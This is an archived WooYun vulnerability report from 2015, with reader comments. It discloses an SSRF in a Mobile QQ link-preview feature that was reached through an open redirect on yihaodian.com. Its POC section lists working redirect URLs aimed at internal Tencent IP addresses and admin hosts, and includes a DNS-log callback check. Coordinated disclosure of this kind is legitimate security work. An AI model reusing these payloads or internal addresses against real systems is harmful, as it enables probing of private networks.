腾讯移动端某功能SSRF可探/漫游内网(cloudeye神器案例)

编号119017
Urlhttp://www.wooyun.org/bug.php?action=view&id=119017
漏洞状态厂商已经确认
漏洞标题腾讯移动端某功能SSRF可探/漫游内网(cloudeye神器案例)
漏洞类型设计缺陷/逻辑错误
厂商腾讯
白帽子lijiejie
提交日期2015-06-08 15:43:00
公开日期2015-07-23 18:10:00
修复时间(not set)
确认时间2015-06-08 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank10
漏洞简介
腾讯某功能SSRF可探内网
漏洞细节

手机QQ上生成 “网页概要” 的功能过滤不全面,可探测腾讯内网。
漏洞利用了一号店的一个任意url跳转:

http://tms2.yihaodian.com/system/login_login.action?redirect:http://admin.soso.com


本报告同时参考了:

http://www.lijiejie.com/wp-content/uploads/2015/04/tencent.com_.txt
WooYun: 我是如何漫游腾讯内部网络的

POC

暴力扫描子域名,发现了:

img.cms.tencent.com           	10.187.10.218, 10.187.10.217


首先试试:

http://tms2.yihaodian.com/system/login_login.action?redirect:http://img.cms.tencent.com/
http://3pl.yihaodian.com/system/login_login.action?redirect:http://10.187.10.218
http://3pl.yihaodian.com/system/login_login.action?redirect:http://10.187.10.217


手机QQ上的消息:

QQ_msg2.png


如图,第二个和第三个成功了,其实我第一次测试,发现第一个也是成功的。
然后请剑总用CloudEye神器检查了发起DNS请求的IP:

http://tms2.yihaodian.com/system/login_login.action?redirect:http://xxx.xxxx.dnslog.info
[08/Jun/2015:14:57:40 +0800] 119.147.3.188 - - xxx.xxxx.dnslog.info GET / HTTP/1.0 200 "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
IP地址: 119.147.3.188广东省深圳市 电信


是腾讯服务器的几率增大,但能否访问内网,还得再测试下:

http://tms2.yihaodian.com/system/login_login.action?redirect:http://admin.soso.com
http://tms2.yihaodian.com/system/login_login.action?redirect:http://10.130.14.94
http://tms2.yihaodian.com/system/login_login.action?redirect:http://10.130.2.149
http://tms2.yihaodian.com/system/login_login.action?redirect:http://10.130.69.227


发现admin.soso.com和10.130.14.94的tomcat都成功了:

QQ_msg3.png


以上可证明漏洞存在。

修复方案

过滤

状态信息 2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开
厂商回复非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
回应信息危害等级:中漏洞Rank:10 确认时间:2015-06-08 18:08
Showing 1-12 of 12 items.
评论内容评论人点赞数评论时间

攒wb, 买,买,买

咖啡02015-07-24 09:33:00

。。我也没发现你说的这个神器用处在哪里,从头到尾这个所谓的神器就是检测了一下确定是不是腾讯的服务器????

零柒02015-07-23 18:50:00

@茜茜公主 那我肯定也玩不转了

Drizzle.Risk02015-06-08 22:14:00

@Drizzle.Risk 看使用者吧,我技术不行,玩不转

茜茜公主02015-06-08 21:59:00

@茜茜公主 好吧 挺贵哦,真是神器?

Drizzle.Risk02015-06-08 21:40:00

@Drizzle.Risk 邀请码!傻了

Drizzle.Risk02015-06-08 21:37:00

@Drizzle.Risk 集市里不是有卖 10WB

茜茜公主02015-06-08 21:37:00

看神器。

明月影02015-06-08 21:36:00

哪位大神给个验证码啊~~

Drizzle.Risk02015-06-08 21:36:00

绝对火了,千万草泥马奔着神器来!

嗯哼!02015-06-08 21:09:00

cloudeye这一宣传会不会卖的很火

茜茜公主02015-06-08 20:41:00

1

小人物Reno02015-06-08 18:36:00